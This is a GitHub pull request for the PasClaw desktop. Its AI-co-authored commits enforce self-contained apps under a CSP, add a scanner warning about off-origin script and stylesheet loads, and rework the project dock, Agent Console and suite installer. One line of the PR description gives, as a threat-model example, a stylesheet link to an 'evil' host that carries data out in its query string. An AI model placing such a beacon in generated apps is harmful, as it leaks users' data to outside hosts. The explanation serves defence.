Repository navigation
Self-contained apps, the project dock, the Agent Console, and the desktop that asks - #548
Conversation
A built app rendered with no styling in every PasClaw viewer -- the web desktop and the FMX client both -- while the same index.html opened straight into Firefox looked perfect. Nothing was broken: the gateway serves app content under a CSP with no off-origin allowance (script-src/style-src 'self' 'unsafe-inline', font-src 'self' data:), and this app took ALL of its styling from cdn.tailwindcss.com, cdnjs FontAwesome and Google Fonts. Blocked CDN, bare HTML. Opened from disk there is no CSP header, so the CDNs load and it looks right -- which is exactly what makes the sandbox read as a rendering bug in PasClaw. Two gaps, both fixed: The builder prompt never drew the consequence. It said "the app may not reach any other origin", and the model read that as an API rule while styling from CDNs anyway. Both copies of the prompt -- desktop.html for the web client, BuilderPrompt in the FMX unit -- now say it outright: every off-origin URL is blocked, looks included; write your own CSS in a <style> block, system font stacks, inline SVG or unicode for icons; nothing off the page but pasclaw.js. And the block was SILENT. A CSP violation shows up in devtools nobody has open inside a retro desktop, so the operator gets an unstyled app and no reason. Serving an HTML app document now scans it for off-origin <script src> / <link href> -- the two references that LOAD; a plain <a href> is navigation and does not count -- and logs one warning per file version naming the blocked hosts, where the Log window shows it. OffOriginHosts is public and pinned in desktop_routes_tests: CDN script and stylesheet hosts are collected once each, plain links and URLs in prose are not. Existing apps styled from a CDN are not rewritten by this -- asking the project's chat to restyle self-contained is the fix, and the new prompt means the request comes out right. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_01KYD1zZPD7GuM8pF1btwi2U
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 99190ae64d
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if (U > 0) and ((Pos('http://', Tag) > 0) or (Pos('https://', Tag) > 0)) then | ||
| AddHost(Tag); |
There was a problem hiding this comment.
Detect scheme-relative CDN URLs
When an app uses a valid scheme-relative resource such as <script src="//cdn.jsdelivr.net/x.js">, the browser resolves it to the current HTTP(S) scheme and the CSP blocks it as off-origin, but this condition only recognizes literal http:// or https://. The app therefore still renders without the resource while the new diagnostic remains silent, so the scanner should also recognize //host/... attribute values.
Useful? React with 👍 / 👎.
The board answered "what exists" but not "how do I act on it": launching a project's app took knowing about desktop icons or the menu, creating a task took expanding the right node to find the "New task..." row, and the chat -- the way work actually happens here, since a task is "modify the app to do X" -- was a double-click and a floating window away. Now clicking a project row turns the dock into that project: [ back to Projects ] <title> [ Open App ] [ + Task ] its open tasks, compactly the CHAT, filling the rest The twist still expands the board view in place (tasks, jobs) -- the split is twist-toggles, row-opens, the file-tree convention. New Project lands in the pane with the cursor in the chat, because the next thing anyone does with a new project is describe the app they want. The chat is the same chat. openChat's window body moved into a shared buildChatUI(project, host) that both the floating window and the dock pane build from, so transcript, streaming, artifact cards and pasclaw-ui furniture cannot drift between the two homes. Dock panes are cached per project and re-attached -- leaving a project and coming back finds the conversation where it was, and the pane must be DETACHED rather than cleared on repaint, or a streaming turn would keep writing into DOM the repaint destroyed. A dialog answer (the ask block's buttons) continues the conversation in the chat window when one is open, else in the dock pane. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_01KYD1zZPD7GuM8pF1btwi2U
The menu's last entry navigated AWAY: location.href = "/" traded the whole desktop -- open windows, dock state, the works -- for the old full-page UI, and the name "Classic UI" described its age rather than its job. The thing at "/" is the operator's own surface: the full agent chat and every configuration page. That is a console, and on this desktop a surface is a window. Menu -> Agent Console now opens "/" in an iframe window like everything else. Same origin, so the bearer token in localStorage is shared and no second login is asked; no sandbox, because this is our own UI rather than model output; keyed, so reopening focuses the live one; restorable, so it comes back with the layout. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_01KYD1zZPD7GuM8pF1btwi2U
Three absences from the same place -- the empty desktop: The background did nothing. Now it carries the ask field: type anything, and the Browser opens already answering it (Ask one pass, Research the deep mode). When the Browser is open the question routes into it through the window's own __ask -- createWindow returns the live singleton without re-running the builder, so an initial-query parameter alone would be silently ignored exactly when the window already exists. Under the field, chips: the suite apps -- Notes, Calendar, Brain, Mail and the rest -- plus the Library. And when the suite is not installed, one chip that installs it, which fixes the real absence: the suite has existed since phase 7, but only `pasclaw project seed` created it, a CLI command a desktop user has no reason to know exists. Both desktop clients showed no trace of Notes or Calendar unless the operator had typed the magic words in a terminal. POST /v1/suite fronts the same idempotent seeder; the routes test installs into a fresh workspace and then asserts the second install creates nothing, however many times the chip is clicked. And the lovable loop, closed: chat on the left, the app RUNNING on the right, updated after each turn. A chat turn that touched the app now reloads the open app window in place (through __reloadApp, the same path as its Reload button) -- or opens the window, when the chat is the dock's project pane, where seeing the result is the whole arrangement. A turn that touched nothing moves nothing. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_01KYD1zZPD7GuM8pF1btwi2U
<script src="//cdn.jsdelivr.net/x.js"> resolves to the page's own scheme, loads off-origin, and gets blocked by the CSP exactly like a spelled-out https:// URL -- but the scan only matched the literal schemes, so this shape rendered the app unstyled with the diagnostic staying silent, which is precisely the failure the diagnostic exists to prevent. Anchored the check to the attribute VALUE while at it, rather than searching anywhere in the tag: the three interesting shapes -- http://, https://, and // -- all sit at the value's front, and value-anchoring is also what makes the // form matchable at all (two slashes anywhere in a tag would mean nothing). Quotes and spaces after the equals sign are skipped; a single leading slash, a relative path, and a bare filename all still pass without warning. Both new shapes pinned in desktop_routes_tests, double- and single-quoted. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_01KYD1zZPD7GuM8pF1btwi2U
"No CDNs" without an alternative invites the model to reimplement chart libraries badly or quietly disobey. The escape hatch already existed at both ends -- web_fetch's save_to streams raw bytes to disk precisely for downloads, and the app directory serves .js/.css/.svg/ .woff2 same-origin, which the CSP allows -- but the prompt never connected them. Both copies now say it: if a real library or font is genuinely needed, download it into projects/<p>/app/vendor/ with web_fetch save_to and reference it relatively. Priority stays inline > vendored > nothing, with a nudge to keep vendored files small and few -- blueprints skip files over 512 KB, so a fat vendored bundle would silently not travel. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_01KYD1zZPD7GuM8pF1btwi2U
Four commits from one review pass over the desktop — an app that rendered unstyled everywhere, a project you couldn't act on, a "Classic UI" button that threw the desktop away, and a suite of apps nobody could find. Same branch because all of them edit
desktop.html, andwebui.res(the binary resource built from it) would guarantee conflicts between parallel PRs.Commit 1 — Apps must be self-contained: say so in the prompt, say so in the log
A built app rendered with no styling in every PasClaw viewer while the same
index.htmlopened straight into Firefox looked perfect. Not a browser heuristic: the gateway serves app content under a CSP with no off-origin allowance, and the app took all its styling fromcdn.tailwindcss.com, cdnjs and Google Fonts. Blocked CDN, bare HTML; from disk there's no header, so Firefox loads them.Why not relax it, since PasClaw wrote the file? "PasClaw wrote it" isn't "trusted": app HTML is model output, revised by later turns, promotable from Deep Research pages built from arbitrary web content — a prompt-injection path into the app's source. The iframe sandbox protects the desktop from the app; the CSP stops the app leaking out (a
<link href="https://evil/x.css?d=...">is an exfiltration beacon needing no script) and stops behaviour being whatever a CDN serves tomorrow. Fixes: (1) both builder prompts now spell out the consequence — self-contained CSS, system fonts, inline icons; (2) serving an HTML app scans for off-origin<script src>/<link href>(loads only;<a href>is navigation) and logs one warning per file version naming the blocked hosts — visible in the Log window.OffOriginHostspinned indesktop_routes_tests.Commit 2 — Opening a project turns the dock into that project
A task is "modify the app to do X" — so opening a project should land you where you can say so. Clicking a project row turns the dock into:
◂ Projects/ ▶ Open App / + Task / open tasks / the chat filling the rest. Twist expands the board in place; row opens the project — the file-tree convention. New Project lands in the pane, cursor in the chat.openChat's body extracted into a sharedbuildChatUI(project, host)so the floating window and dock pane can't drift; dock panes cached per project and detached (not cleared) on repaint so a streaming turn never writes into destroyed DOM.Commit 3 — "Classic UI" becomes the Agent Console, and becomes a window
location.href = "/"traded the whole desktop for the old full-page UI, under a name describing its age rather than its job. The thing at/is the operator's surface — the full agent chat and every configuration page. That's a console; on this desktop a surface is a window. Menu → Agent Console: same-origin iframe window (token shared, no second login), keyed, restorable.Commit 4 — The background asks, the chips launch, the suite installs itself
w.__ask— an initial-query parameter alone would be ignored exactly when the window exists.pasclaw project seed, a CLI command a desktop user has no reason to know exists, so both desktop clients showed no trace of Notes or Calendar. NewPOST /v1/suitefronts the same idempotent seeder; the routes test seeds a fresh workspace and asserts a second install creates nothing.__reloadApp, the Reload button's own path), or opens it when the chat is the dock's project pane. A turn that touched nothing moves nothing.Verification
make test-desktop-routes→ OK (scanner + suite-route assertions) ·make test-desktop→ OKnode --checkon the extracted script passes after each commitwebui.resrebuilt clean;lint-pascal-shapeOKTargets
maindirectly — not stacked on any open PR.